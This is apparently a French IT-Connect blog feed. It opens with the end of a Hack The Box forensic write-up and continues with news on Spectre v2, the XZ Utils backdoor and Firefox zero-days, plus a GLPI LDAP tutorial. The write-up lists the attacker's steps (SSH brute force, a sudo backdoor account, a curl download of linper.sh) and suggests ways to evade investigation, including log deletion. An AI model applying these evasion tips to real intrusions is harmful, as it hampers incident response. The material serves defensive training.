Cette dérogation a ensuite été utilisée par l'attaquant afin de télécharger le script bash "linper.sh", hébergé sur Github. Pour aller jusqu'au bout de la démarche, voici les TTP (Tactics, Techniques and Procedures) utilisés :

TTP (MITRE ATT&CK)Détails
T1110.001 - Brute Force: Password GuessingRéalisation d'une attaque par bruteforce sur l'accès SSH.
T1078.003 - Valid Accounts: Local AccountsAuthentification en tant que "root" .
TTP1136.001 - Create Account: Local AccountCréation d'un compte utilisateur local ("cyberjunkie").
T1098 - Account ManipulationAjout d'une dérogation sudo à ce nouvel utilisateur permettant d'exécuter des commandes en tant que "root"
T1078.003 - Valid Accounts: Local AccountsConnexion SSH avec l'utilisateur nouvelle créé
T1608.002 - Stage Capabilities: Upload ToolTéléchargement d'un script "linper.sh" depuis Internet sur la cible via "sudo" et "curl".

Et voilà ! Nous sommes arrivés au bout de l'exercice d'investigation :

V. Notions abordées

Nous allons à présent mettre en avant les principales notions et apprentissages de cet exercice, aussi bien pour l'attaquant que pour les défenseurs ou l'analyste. Il ne s'agit pas d'un point de vue complet, n'hésitez pas à améliorer ce contenu en donnant votre avis dans les commentaires :-).

A. Côté analyste

Nous avons vu dans cet exercice qu'il est important de se familiariser avec les logs classiques du système d'exploitation que l'on souhaite analyser. Connaitre le rôle et le format des journaux du fichier "auth.log" et les subtilités du fichier "wtmp" (commande "last") nous a permis de rapidement trouver les informations demandées.

Également, disposer d'un jeu de commandes préconçu pour rechercher des informations précises (expression régulière pour les adresses IP) ou faire des statistiques rapidement serait un plus, notamment en utilisant des outils qui permettent de rechercher et utiliser rapidement ces commandes comme "arsenal" :

B. Côté défense

Côté défense, plusieurs bonnes pratiques devraient être mises en place pour se protéger des attaques observées dans cette investigation :

  • Il est dans un premier temps recommandé de durcir la configuration SSH avec d'éviter le brute force SSH et d'interdire les connexions SSH en tant que root.
  • La mise en place de solutions "tierces" peut aussi être envisagée afin de se protéger des attaques par brute force, cela peut passer par le durcissement de la configuration "pam.d", la mise en place d'un service Fail2Ban ou Crowdsec.
  • Également, il peut être recommandé de durcir la politique de mot de passe de l'utilisateur root, et par extension de l'ensemble des utilisateurs du système concerné. Peu importe la wordlist utilisée, le mot de passe d'un utilisateur privilégié ne devrait jamais s'y trouver, cela indique l'utilisation d'un mot de passe probablement faible.
  • Il peut aussi être recommandé de mettre en place des restrictions, voire une interdiction totale d'accès à Internet de la part des serveurs si cela ne répond pas à un besoin justifié (l'application de mises à jour n'en étant pas une, il est préférable de passer par un serveur APT interne et maitrisé). Cela dans le but de bloquer ou ralentir la démarche de l'attaquant lors des opérations d'exfiltration d'informations ou d'import d'outils offensifs.

C. Côté attaquant

L'attaquant aurait, lui aussi, pu améliorer son attaque de plusieurs manières, notamment pour complexifier la tâche de l'analyste ou gagner en discrétion :

  • L'attaquant aurait pu étaler son attaque par brute force dans le temps afin de complexifier la tâche d'investigation de l'analyste, qui aurait dû trier des connexions légitimes et les connexions malveillantes. En fonction de la configuration de la journalisation, cela aurait également pu étaler les évènements dans plusieurs fichiers grâce à la rotation des journaux, voire entrainer une suppression au bout d'un certain volume ou ancienneté.
  • Un attaquant avec plus de moyens aurait aussi pu distribuer son attaque par brute force depuis plusieurs adresses IP afin de gagner en discrétion. Il aurait lors été plus complexe de faire une corrélation entre différentes tentatives d'authentification. Cela se fait généralement à l'aide de ressources Cloud hébergées dans plusieurs pays ou de botnet loués pour l'occasion :
  • Le téléchargement d'une ressource depuis un dépôt GitHub facilite la tâche de l'analyste qui peut rapidement identifier l'outil, son objectif, voir découvrir des éléments de signature lui permettant de le retrouver et le supprimer sur le système. Sans vraiment modifier le script lui-même, l'attaquant aurait pu passer par un serveur web temporaire pour que l'analyste ne puisse pas facilement identifier l'outil et une modification du nom du script afin de gagner du temps sur l'investigation et en discrétion.
  • L'analyse ici menée a été réalisée à 100% grâce aux journaux d'évènements du système lui-même, nous avons notamment pu découvrir les opérations de post-exploitation de l'attaquant (opérations menées après compromissions du système). Une fois les droits root obtenus, l'attaquant aurait pu stopper la production ou l'exfiltration des journaux d'évènements afin de gagner en discrétion au moment de l'attaque et de rendre quasi impossible la démarche d'investigation par la suite. Une simple suppression des journaux locaux aurait été possible grâce aux droits root par exemple. L'effacement des traces et une technique assez classique de post-exploitation par les attaquants réels et leur permet de couvrir toutes les pistes potentielles laissées lors de l'intrusion.

VI. Conclusion

J'espère que cet article vous a plu ! Au-delà de la résolution du challenge, il est toujours intéressant de savoir tirer parti de ces exercices pour s'améliorer et en extraire le maximum d'apprentissage. N'hésitez pas à utiliser les commentaires et le Discord pour partager votre avis ! 🙂

Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy

The post Hack the box – Sherlocks (forensic) : découverte et solution de Brutus first appeared on IT-Connect.

Microsoft va participer à l’Open Source Summit 2024 : pourquoi ?

11 avril 2024 à 15:25

Dans quelques jours, Microsoft va participer à l'Open Source Summit 2024, mais pourquoi ? Bien que cela puisse surprendre, sachez qu'au final, c'est plutôt évident et cohérent.

L'Open Source Summit North America est un événement organisé par la Fondation Linux et l'édition 2024 se déroulera du 16 au 18 avril prochain, à Seattle, aux États-Unis. Microsoft va participer à cet événement mondial, tout en étant un sponsor "Platinum", au même titre que Docker et Red Hat. D'ailleurs, au passage, AWS et Google sont des sponsors "Diamond" de cet événement.

Bien que Microsoft soit toujours associé à une étiquette d'"éditeur de solutions propriétaires", notamment parce que son système d'exploitation Windows est un OS propriétaire, la position de l'entreprise américaine a évoluée depuis environ 10 ans. Depuis 2014 et l'arrivée en Satya Nadella en tant que Directeur général, pour être plus précis. Si Microsoft a commencé à adopter l'open source dans ses activités principales et à participer à différents projets, c'est grâce à lui.

Microsoft est impliqué dans de nombreux projets Open Source

À l'occasion de sa participation à l'Open Source Summit, Microsoft discutera de ses contributions à la communauté open source. Aujourd'hui, Microsoft se félicite de participer au développement de Linux, à des langages de programmation tels que PHP, Python et Node.js, mais aussi à PostgreSQL ou encore à ses propres solutions open source comme .NET Core, Visual Studio Code et TypeScript.

"En outre, l'open source est au cœur de notre stratégie produit et constitue un élément fondamental de notre culture. Aujourd'hui, plus de 60 000 employés de Microsoft utilisent GitHub et nous gérons plus de 14 000 dépôts publics couvrant tout, des meilleures pratiques et de l'ensemble de nos systèmes de documentation aux projets innovants tels que PowerTools et PowerShell.", peut-on lire sur le site de Microsoft.

La firme de Redmond partagera également ses meilleures pratiques pour l'utilisation des technologies open source et les tendances émergentes dans ce domaine. D'ailleurs, en interne, Microsoft a eu équipe en charge de veiller sur la bonne utilisation des logiciels libres : "Le Microsoft Open Source Programs Office (OSPO) veille à ce que nous utilisions correctement les logiciels libres, à ce que nous fournissions des solutions sécurisées à nos clients et à ce que nous participions de manière authentique aux communautés de logiciels libres."

Pour Microsoft, l'intérêt est aussi d'assurer une compatibilité et une prise en charge avec ses solutions telles que Microsoft Intune ou encore le Cloud Azure au sein duquel les organisations peuvent exécuter des machines virtuelles sous Linux. "Microsoft prend en charge les principales distributions Linux et collabore étroitement avec Red Hat, SUSE, Canonical et l'ensemble de la communauté Linux.", précise Microsoft.

The post Microsoft va participer à l’Open Source Summit 2024 : pourquoi ? first appeared on IT-Connect.

L’attaque Spectre v2 affecte les systèmes Linux avec un processeur Intel !

11 avril 2024 à 06:05

Des chercheurs en sécurité ont découvert une vulnérabilité qu'ils considèrent comme le "premier exploit natif Spectre v2" qui affecte les systèmes Linux fonctionnant avec de nombreux processeurs Intel récents ! En exploitant cette vulnérabilité, un attaquant pourrait lire des données sensibles dans la mémoire. Voici ce qu'il faut savoir !

La vulnérabilité Spectre et l'exécution spéculative

Avant tout, commençons par quelques mots sur la vulnérabilité Spectre en elle-même, ainsi que sur l'exécution spéculative.

Découverte au sein des processeurs Intel et AMD il y a plusieurs années, Spectre et sa copine Meltdown sont parmi les vulnérabilités les plus populaires. Ces termes font aussi référence à des techniques d'attaques visant à exploiter les failles de sécurité en question. Spectre affecte de nombreux processeurs dotés de l'exécution spéculative et corriger cette faille de sécurité matérielle n'est pas simple, car cela affecte, de façon importante, les performances du CPU.

L'exécution spéculative vise à améliorer les performances de la machine grâce au processeur qui va chercher à deviner la prochaine instruction à exécuter. La puissance des processeurs modernes permet de prédire plusieurs chemins qu'un programme peut emprunter et les exécuter simultanément. Cela ne fonctionne pas toujours, mais quand c'est le cas, cela booste les performances. Malgré tout, cela représente un risque, car le cache du CPU peut contenir des traces avec des données sensibles (mots de passe, informations personnelles, code logiciel, etc.), et celles-ci sont potentiellement accessibles par un attaquant lorsqu'une vulnérabilité est découverte.

Il y a deux méthodes d'attaques nommées Branch Target Injection (BTI) et Branch History Injection (BHI).

L'exploitation de Spectre V2 sur Linux

Récemment, une équipe de chercheurs du groupe VUSec de VU Amsterdam a fait la découverte de Spectre V2, une nouvelle variante de l'attaque Spectre originale, associée à la référence CVE-2024-2201. Vous pouvez retrouver leur rapport sur cette page.

Le CERT/CC a mis en ligne un bulletin de sécurité à ce sujet, dans lequel nous pouvons lire ceci : "Un attaquant non authentifié peut exploiter cette vulnérabilité pour faire fuir la mémoire privilégiée du CPU en sautant spéculativement vers un gadget choisi.", c'est-à-dire un chemin de code.

Dans le cas présent, le nouvel exploit, appelé Native Branch History Injection (en référence à l'attaque BHI), peut être utilisé pour faire fuir la mémoire arbitraire du noyau Linux à une vitesse de 3,5 kB/sec en contournant les mesures d'atténuation existantes de Spectre v2/BHI.

Pour se protéger, le CERT/CC recommande d'appliquer les dernières mises à jour publiées par les éditeurs et précise ceci : "Les recherches actuelles montrent que les techniques d'atténuation existantes, à savoir la désactivation de l'eBPF privilégié et l'activation de l'IBT, sont insuffisantes pour empêcher l'exploitation de BHI contre le noyau/l'hyperviseur."

De son côté, Intel a mis à jour ses recommandations d'atténuation pour Spectre v2 et propose désormais de désactiver la fonctionnalité "Extended Berkeley Packet Filter" non privilégiée (eBPF), d'activer les fonctionnalités "Enhanced Indirect Branch Restricted Speculation" (eIBRS) et "Supervisor Mode Execution Protection" (SMEP).

Voici une vidéo de démonstration d'exploitation de cette vulnérabilité :

Qui est affecté par la vulnérabilité Spectre V2 ?

Le noyau Linux étant affecté, cette vulnérabilité va forcément impacter de nombreuses distributions. L'équipe de développement du noyau Linux mène actuellement des travaux pour trouver une solution. Mais, en fait, l'impact dépend aussi du matériel, car la vulnérabilité Spectre V2 affecte les processeurs Intel, et non les processeurs AMD.

D'un point de vue du système d'exploitation, si nous visitons le site de Debian, nous pouvons voir que les différentes versions sont vulnérables (Sid, Bookworm, Bullseye, Buster, etc.). SUSE Linux est également impactée, comme le mentionne cette page. Du côté de Red Hat Linux Enterprise, on affirme que l'eBPF non privilégié est désactivé par défaut, de sorte que le problème n'est pas exploitable dans les configurations standard.

Une liste publiée sur la page du CERT/CC permet d'accéder facilement aux liens des différents éditeurs et d'effectuer le suivi dans les prochains jours.

Spectre V2 Linux

Finalement, cette nouvelle découverte souligne la difficulté de trouver un équilibre entre l'optimisation des performances et la sécurité, puisque ceci pourrait contraindre les utilisateurs à se passer de certaines fonctionnalités relatives au CPU.

Source

The post L’attaque Spectre v2 affecte les systèmes Linux avec un processeur Intel ! first appeared on IT-Connect.

Porte dérobée dans XZ Utils : vérifiez si votre machine Linux est vulnérable !

2 avril 2024 à 06:40

Dans cet article, nous allons revenir sur la porte dérobée présente dans la bibliothèque XZ Utils afin d'évoquer les distributions Linux affectées, ainsi qu'un outil permettant de vérifier si votre serveur est affecté ou non !

Pour rappel, la bibliothèque de compression de données XZ Utils, correspondante au paquet "liblzma", est victime d'une compromission de la chaîne d'approvisionnement (supply chain attack) : les deux dernières versions (5.6.0 et 5.6.1) contiennent du code malveillant qui permet de déployer une porte dérobée sur le système. Cette backdoor offre la possibilité de se connecter en SSH sur la machine et d'exécuter du code malveillant sans être authentifié.

Cette vulnérabilité est associée à la référence CVE-2024-3094 et elle est considérée comme critique (score CVSS v3.1 de 10 sur 10).

CVE-2024-3094 : ma machine est-elle vulnérable ?

Tout d'abord, sachez que les versions vulnérables de XZ Utils sont utilisées par certaines distributions Linux en cours de développement, dont voici la liste :

  • Fedora Rawhide
  • Fedora 41
  • Debian Sid (les versions testing, unstable et expérimentale de Debian)
  • openSUSE Tumbleweed
  • openSUSE MicroOS

Par ailleurs, si vous utilisez Kali Linux, votre machine peut être affectée : "Si vous avez mis à jour votre installation Kali le 26 mars ou après, mais avant le 29 mars, il est crucial d'appliquer les dernières mises à jour aujourd'hui pour résoudre ce problème.", peut-on lire sur cette page du site de Kali Linux.

Désormais, les mainteneurs de ces différentes distributions ont fait le nécessaire pour revenir sur une version non vulnérable. Cependant, c'est-à-vous de faire la manipulation pour revenir en arrière si votre machine est affectée.

Pour vérifier si votre machine est affectée ou non, vous pouvez exécuter le script Bash "CVE-2024-3094 Checker" disponible sur GitHub. Ce script communautaire fonctionne sur les différentes distributions et va regarder qu'elle est la version de XZ Utils installée sur votre machine, et vous indiquer, si oui ou non, vous êtes vulnérable.

Par exemple, sur une machine Debian, la commande suivante est utilisée pour effectuer la vérification :

dpkg -l | grep "xz-utils"

Pour rappel, vous ne devez pas utiliser les versions 5.6.0 et 5.6.1 de XZ Utils, car elles sont compromises. D'ailleurs, si vous utilisez une distribution où le gestionnaire de paquets Apt est utilisé (Debian, par exemple), le script vous proposera de revenir sur la version stable non compromise la plus récente, à savoir la 5.4.6. Enfin, il est également recommandé de lire le bulletin de sécurité publié sur le site de la distribution que vous utilisez.

The post Porte dérobée dans XZ Utils : vérifiez si votre machine Linux est vulnérable ! first appeared on IT-Connect.

Alerte de sécurité Linux : une porte dérobée a été intégrée dans XZ Utils !

30 mars 2024 à 13:35

Grosse alerte de sécurité : la bibliothèque "liblzma" utilisée par de nombreuses distributions Linux est victime d'une compromission de la chaîne d'approvisionnement : les dernières versions contiennent du code malveillant qui permet de déployer une porte dérobée sur le système. Faisons le point sur cette menace.

La bibliothèque liblzma appelée aussi XZ Utils est présente dans de nombreuses distributions Linux, notamment Arch Linux, Fedora, Debian, OpenSUSE, Alpine Linux, etc... Il s'agit d'une bibliothèque de compression de données susceptible d'être utilisées par d'autres applications.

Il s'avère que deux versions de la bibliothèque liblzma sont impactées par une attaque de type supply chain : 5.6.0 ou 5.6.1. La version 5.6.0 date de fin février tandis que la version 5.6.1 a été publiée le 9 mars 2024. Ces deux versions du paquet XZ contiennent du code malveillant qui a été très bien dissimulé par les auteurs de cette attaque, par l'intermédiaire d'un fichier m4 avec du code obfusqué. Il est visible uniquement lorsque le paquet est téléchargé en intégralité, donc il est invisible sur Git, par exemple.

Andres Freund, ingénieur logiciel chez Microsoft, a fait la découverte de ce problème de sécurité en menant des investigations sur une machine Debian Sid, après avoir constaté que les connexions SSH étaient anormalement longues.

Si une version compromise du paquet XZ est installée sur une machine, alors une porte dérobée est également déployée. Celle-ci offre un accès distant à l'attaquant qui pourrait se connecter à votre machine par l'intermédiaire d'une connexion SSH, sans avoir besoin de connaître vos identifiants (car il y a un lien entre systemd et liblzma).

Sachez que ceci est considéré comme une vulnérabilité et que la référence CVE pour cette faille de sécurité critique est la suivante : CVE-2024-3094. Sans surprise, un score CVSS v3.1 de 10 sur 10 a été associé à cette vulnérabilité.

Quels sont les systèmes affectés ?

Même si plusieurs distributions telles que Debian, Fedora ou encore Arch Linux sont concernées, ceci n'affecte pas toutes les versions. En effet, ceci concerne avant tout les versions en cours de développement, dont Debian Sid qui est la future version stable de Debian.

Pour Fedora, sachez que Fedora Rawhide et Fedora 41 sont affectées par ce problème de sécurité. Au sein du bulletin de sécurité de Red Hat, nous pouvons également lire ceci : "Aucune version de Red Hat Enterprise Linux (RHEL) n'est concernée.", ce qui n'est pas surprenant.

Potentiellement, tout autre système avec le paquet XZ en version 5.6.0 ou 5.6.1 est également affecté, donc vérifiez vos machines. Dans ce cas, il convient d'effectuer un downgrade vers la version 5.4.6.

Cette commande doit permettre d'obtenir la version :

dpkg -l | grep "xz-utils"

Pour approfondir le sujet, vous pouvez lire cet article intéressant qui donne des détails techniques supplémentaires, ainsi que l'origine de cette compromission : un nouveau développeur qui est venu épauler le créateur de la bibliothèque XZ Utils.

The post Alerte de sécurité Linux : une porte dérobée a été intégrée dans XZ Utils ! first appeared on IT-Connect.

GLPI : comment configurer l’authentification LDAP via l’Active Directory ?

27 mars 2024 à 15:00

I. Présentation

Dans ce tutoriel, nous allons avoir comment configurer l'authentification LDAP de GLPI pour pouvoir se connecter à l'application GLPI à partir des comptes utilisateurs présents dans un annuaire Active Directory. Ainsi, un utilisateur pourra accéder à GLPI à l'aide de son nom d'utilisateur et son mot de passe habituel (puisque ce seront les informations de son compte dans l'Active Directory).

GLPI propose nativement un modèle d'authentification LDAP, ce qui lui permet de s'appuyer sur un annuaire de comptes externe, comme l'Active Directory de Microsoft. Il faut savoir que les comptes utilisateurs de l'Active Directory seront importés dans la base de données de GLPI, grâce à un processus de synchronisation. Lorsqu'un utilisateur Active Directory se connecte pour la première fois, son compte est créé dans GLPI. Avant cela, il n'est pas visible, sauf si vous décidez d'effectuer un "import en masse" des comptes AD dans GLPI.

Par ailleurs, en complément de ce tutoriel, voici le lien vers la documentation officielle :

II. Configuration cible

Avant de passer à la configuration, voici quelques informations sur l'environnement utilisé.

Pour cette démonstration, le domaine Active Directory "it-connect.local" sera utilisé et le contrôleur de domaine SRV-ADDS-02 sera utilisé. Ce serveur dispose de l'adresse IP "10.10.100.11" et la connexion sera effectuée en LDAP, sur le port par défaut (389).

- Le compte utilisateur qui sera utilisé comme "connecteur" pour permettre à GLPI de se connecter à l'Active Directory se nomme "Sync_GLPI". Il est stocké dans l'unité d'organisation "Connecteurs" de l'annuaire (voir image ci-dessous). Il s'agit d'un compte utilisateur standard, sans aucun droit particulier sur l'annuaire Active Directory. Faites-moi plaisir : n'utilisez pas de compte Administrateur.

- Tous les utilisateurs qui doivent pouvoir se connecter à GLPI à l'aide de leur compte Active Directory sont stockés dans l'unité d'organisation "Personnel" visible ci-dessous. Elle correspond à ce que l'on appelle la "Base DN" vis-à-vis du connecteur LDAP de GLPI. Les autres utilisateurs ne pourront pas se connecter. En fait, ce n'est pas utile de mettre la racine du domaine comme base DN : essayez de restreindre autant que possible pour limiter la découverte de l'annuaire Active Directory au strict nécessaire.

- Les utilisateurs de l'Active Directory pourront se connecter à GLPI à l'aide de leur identifiant correspondant à l'attribut "UserPrincipalName" (mis en évidence, en jaune, sur l'image ci-dessous). Cet identifiant, sous la forme "identifiant + nom de domaine", leur permettra se connecter à GLPI avec un identifiant qui correspond à leur e-mail. L'alternative consisterait à utiliser l'attribut "SamAccountName" (soit l'identifiant sous la forme "DOMAINE\identifiant").

GLPI - Arborescence Active Directory

Voilà, maintenant, nous allons pouvoir dérouler la configuration !

II. Installer l'extension LDAP de PHP

L'extension LDAP de PHP doit être installée sur votre serveur pour que GLPI soit capable de communiquer avec votre serveur contrôleur de domaine Active Directory (ou tout autre annuaire LDAP).

Connectez-vous à votre serveur GLPI et exécutez les deux commandes suivantes pour mettre à jour le cache des paquets et procéder à l'installation de l'extension.

sudo apt-get update
sudo apt-get install php-ldap

Cette extension sera installée et activée dans la foulée. Vous n'avez pas besoin de relancer le serveur.

III. Ajouter un annuaire LDAP dans GLPI

Désormais, nous allons ajouter notre annuaire Active Directory à GLPI. Connectez-vous à GLPI avec un compte administrateur, puis dans le menu "Configuration", cliquez sur "Authentification".

GLPI - Configuration - Authentification

Au centre de l'écran, cliquez sur "Annuaire LDAP".

GLPI - Authentification - Annuaire LDAP

Puis, cliquez sur le bouton "Ajouter".

GLPI - Ajouter un nouvel annuaire LDAP

Un formulaire s'affiche à l'écran. Comment le renseigner ? À quoi correspondent tous ces champs ? C'est que nous allons voir ensemble.

  • Nom : le nom de cet annuaire LDAP, vous pouvez utiliser un nom convivial, ce n'est pas obligatoirement le nom du domaine, ni le nom du serveur.
  • Serveur par défaut : faut-il s'appuyer sur ce serveur par défaut pour l'authentification LDAP ? Il ne peut y avoir qu'un seul serveur LDAP défini par défaut.
  • Actif : nous allons indiquer "Oui", sinon ce sera déclaré, mais non utilisé.
  • Serveur : adresse IP du contrôleur de domaine à interroger. Avec le nom DNS, cela ne semble pas fonctionner (malheureusement).
  • Port : 389, qui est le port par défaut du protocole LDAP. Si vous utilisez TLS, il faudra le préciser à postériori, dans l'onglet "Informations avancées", du nouveau serveur LDAP.
  • Filtre de connexion : requête LDAP pour rechercher les objets dans l'annuaire Active Directory. Généralement, nous faisons en sorte de récupérer les objets utilisateurs ("objectClass=user") en prenant uniquement les utilisateurs actifs (via un filtre sur l'attribut UserAccountControl).
  • BaseDN : où faut-il se positionner dans l'annuaire pour rechercher les utilisateurs ? Ce n'est pas nécessaire la racine du domaine, tout dépend comment est organisé votre annuaire et où se situent les utilisateurs qui doivent pouvoir se connecter. Il faut indiquer le DistinguishedName de l'OU.
  • Utiliser bind : à positionner sur "Oui" pour du LDAP classique (sans TLS)
  • DN du compte : le nom du compte à utiliser pour se connecter à l'Active Directory. En principe, vous ne pouvez pas utiliser de connexion anonyme ! Ici, il ne faut pas indiquer uniquement le nom du compte, mais la valeur de son attribut DistinguishedName.
  • Mot de passe du compte : le mot de passe du compte renseigné ci-dessus
  • Champ de l'identifiant : dans l'Active Directory, quel attribut doit être utilisé comme identifiant de connexion pour le futur compte GLPI ? Généralement, UserPrincipalName ou SamAccountName, selon vos besoins.
  • Champ de synchronisation : GLPI a besoin d'un champ sur lequel s'appuyer pour synchroniser les objets. Ici, nous allons utiliser l'objectGuid de façon à avoir une valeur unique pour chaque utilisateur. Ainsi, si un utilisateur est modifié dans l'Active Directory, GLPI pourra se repérer grâce à cet attribut qui lui n'évoluera pas (sauf si le compte est supprimé puis recréé dans l'AD).
GLPI - Formulaire configuration annuaire LDAP

Ci-dessous, la configuration utilisée pour cette démonstration et qui correspond à la "configuration cible" évoquée précédemment.

  • Nom : Active Directory - it-connect.local
  • Serveur par défaut : Oui
  • Actif : Oui
  • Serveur : 10.10.100.11
  • Port : 389
  • Filtre de connexion : (&(objectClass=user)(objectCategory=person)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))
  • BaseDN : OU=Personnel,DC=it-connect,DC=local
  • Utiliser bind : Oui
  • DN du compte : CN=Sync_GLPI,OU=Connecteurs,OU=Tiering,OU=IT,DC=it-connect,DC=local
  • Mot de passe du compte : Mot de passe du compte "Sync_GLPI"
  • Champ de l'identifiant : userprincipalname
  • Champ de synchronisation : objectguid

Quand votre configuration est prête, cliquez sur "Ajouter".

GLPI - Configurer Active Directory

Dans la foulée, GLPI va effectuer un test de connexion LDAP et vous indiquer s'il est parvenu, ou non, à se connecter à votre annuaire. Si ce n'est pas le cas (comme moi, la première fois), cliquez sur le nom de votre annuaire, vérifiez la configuration, puis retournez dans "Tester" sur la gauche afin de lancer un nouveau test. Pour ma part, le problème venait du champ "Serveur" : j'avais mis le nom DNS du serveur à la place de l'adresse IP, mais cela ne fonctionnait pas. Pourtant, mon serveur GLPI parvient bien à résoudre le nom DNS.

GLPI - Tester authentification LDAP

Par ailleurs, vous pouvez explorer les différents onglets : Utilisateurs, Groupes, Réplicats, etc... Pour affiner la configuration. L'onglet "Utilisateurs" est intéressant pour configurer le mappage entre les champs d'une fiche utilisateur dans GLPI et les attributs d'un compte dans l'Active Directory. Quant à l'onglet "Réplicats", vous pouvez l'utiliser pour déclarer un ou plusieurs contrôleurs de domaine "de secours" à contacter si le serveur principal n'est plus joignable.

IV. Tester la connexion Active Directory

Si GLPI valide la connexion à votre annuaire Active Directory, vous pouvez tenter de vous authentifier à l'application avec un compte utilisateur. Pour ma part, c'est l'utilisateur Guy Mauve qui va servir de cobaye. Son login GLPI sera donc "guy.mauve@it-connect.tech" puisque je m'appuie sur l'attribut UserPrincipalName. Pour le mot de passe, je dois indiquer celui de son compte Active Directory.

Remarque : la source d'authentification doit être l'Active Directory.

Connexion à GLPI avec un compte Active Directory

Voilà, l'authentification fonctionne ! L'utilisateur a pu se connecter avec son compte Active Directory et il hérite du rôle "Self-service".

GLPI - Exemple - Connexion avec un utilisateur AD

Dans le même temps, à partir du compte admin de GLPI, je peux remarquer la présence d'un nouveau compte utilisateur dont l'identifiant est "guy.mauve@it-connect.tech" ! GLPI a également récupéré le nom, le prénom et l'adresse e-mail à partir de différents attributs de l'objet LDAP.

Synchronisation GLPI et utilisateur Active Directory

V. Forcer une synchronisation Active Directory

A partir de GLPI, vous pouvez forcer une synchronisation LDAP de façon à mettre à jour les comptes dans GLPI "liés" à des comptes Active Directory, mais aussi pour importer en masse tous les comptes des utilisateurs Active Directory. Ceci vous évite d'attendre la première connexion et vous permet de préparer le compte : attribution du bon rôle, etc.

Cliquez sur "Administration" dans le menu, puis "Utilisateurs". Ici, vous avez accès au bouton "Liaison annuaire LDAP".

Vous avez ensuite le choix entre deux actions différentes, selon vos besoins.

Si vous cliquez sur "Importation de nouveaux utilisateurs", vous pourrez importer en masse les comptes dans l'Active Directory. Il vous suffit de lancer une recherche, de sélectionner les comptes à importer et de lancer l'import grâce au bouton "Actions".

Importer des comptes AD dans GLPI.jpg

Remarque : vous pouvez aussi importer des groupes Active Directory. Pour cela, suivez la même procédure, mais en allant dans "Groupes" sous "Administration".

VI. Conclusion

En suivant ce tutoriel, vous devriez être en mesure d'importer les comptes utilisateurs d'un annuaire Active Directory dans GLPI, pour faciliter la connexion de vos utilisateurs. Sachez que si un utilisateur change son mot de passe dans l'Active Directory, ce n'est pas un problème : GLPI vérifie les informations lors de la connexion.

The post GLPI : comment configurer l’authentification LDAP via l’Active Directory ? first appeared on IT-Connect.

Dans Firefox 124.0.1, Mozilla a corrigé deux failles de sécurité zero-day !

24 mars 2024 à 13:00

Quelques jours après avoir dévoilé Firefox 124.0, la fondation Mozilla a mis en ligne la version 124.0.1 de Firefox dans le but de patcher deux failles de sécurité zero-day ! Voici ce qu'il faut savoir sur ces vulnérabilités.

Le mardi 19 mars 2024, la fondation Mozilla a publié la version 124.0 de son navigateur Firefox, dans le but de corriger 12 failles de sécurité, dont cinq vulnérabilités importantes et une vulnérabilité critique. D'ailleurs, cette faille de sécurité critique, associée à la référence CVE-2024-2615, pourrait permettre à un attaquant d'exécuter du code arbitraire sur la machine de l'utilisateur.

Puis, le vendredi 22 mars 2024, Mozilla a mis en ligne une nouvelle version de son navigateur Firefox : 124.0.1. Cette fois-ci, l'objectif est de corriger deux failles de sécurité zero-day découvertes et exploitées un jour plus tôt lors de la compétition de hacking Pwn2Own Vancouver 2024.

D'ailleurs, à l'occasion de cette compétition de hacking, les participants sont parvenus à découvrir 29 failles de sécurité dans différents produits. En ce qui concerne les vulnérabilités dans Firefox, elles ont été découvertes par Manfred Paul (récompensé à auteur de 100 000 dollars) pour avoir exploité une faille de type "out-of-bounds write" (CVE-2024-29943) permettant d'exécuter du code à distance et d'échapper à la sandbox de Mozilla Firefox en exploitant une faiblesse dans une fonction du navigateur (CVE-2024-29944). Manfred Paul est membre de la Trend Micro Zero Day Initiative.

Dans son bulletin de sécurité, Mozilla a apporté quelques détails supplémentaires sur ces vulnérabilités qui affectent les versions desktop de son navigateur Firefox. Pour le moment, elles ne sont pas exploitées par les cybercriminels.

Pour vous protéger, vous devez passer sur Firefox 124.0.1 ou Firefox ESR 115.9.1, en fonction de la version que vous utilisez. Enfin, nous pouvons saluer la réactivité des équipes de Mozilla pour la correction de ces deux failles de sécurité, ainsi que Manfred Paul, grand gagnant de cette édition avec 25 points Master of Pwn. Grâce aux vulnérabilités qu'il a découvertes dans Mozilla Firefox, Apple Safari, Google Chrome et Microsoft Edge, il a pu empocher 202 500 dollars de gain en cash.

Source

The post Dans Firefox 124.0.1, Mozilla a corrigé deux failles de sécurité zero-day ! first appeared on IT-Connect.

Passez sur Firefox 124 pour vous protéger de cette faille de sécurité critique (CVE-2024-2615) !

20 mars 2024 à 16:19

Firefox 124 a été publié par la fondation Mozilla ! Quelles sont les nouveautés de cette version ? Parlons-en, mais nous allons surtout nous intéresser à une faille de sécurité critique corrigée par les développeurs.

Ce mardi 19 mars 2024, la fondation Mozilla a publié la version 124.0 de son navigateur Firefox. Une nouvelle version associée à la publication d'une page qui regroupe toutes les nouveautés apportées à cette version.

Firefox 124 introduit de nouvelles options d'accessibilité, avec notamment la prise en charge du mode de navigation par curseur dans le lecteur PDF du navigateur. De plus, Firefox View est désormais capable de trier vos onglets par activité récente (par défaut) ou par ordre de tabulation. A noter également que la disponibilité de Qwant a été étendue à toutes les langues de la région France, ainsi qu'à la Belgique, l'Italie, les Pays-Bas, l'Espagne et la Suisse.

12 failles de sécurité corrigées par Firefox 124

Par ailleurs, et ce que nous allons évoquer maintenant, les développeurs ont corrigé 12 failles de sécurité, dont cinq vulnérabilités importantes et une vulnérabilité critique. Associée à la référence CVE-2024-2615, cette vulnérabilité a été découverte par Paul Bone et les membres de Mozilla Fuzzing Team. Il s'agit d'un problème de sécurité dans la mémoire.

Le bulletin de sécurité de Mozilla est clair : cette vulnérabilité pourrait permettre à un attaquant d'exécuter du code arbitraire sur la machine de l'utilisateur.

La faille de sécurité CVE-2024-2615 affecte uniquement le navigateur Mozilla Firefox. Toutefois, Mozilla a corrigé plusieurs vulnérabilités dans la version Firefox ESR, ainsi que dans son client de messagerie Thunderbird.

Voici la liste des produits et versions affectés par différentes vulnérabilités :

  • Firefox versions antérieures à 124
  • Firefox ESR versions antérieures à 115.9
  • Thunderbird versions antérieures à 115.9

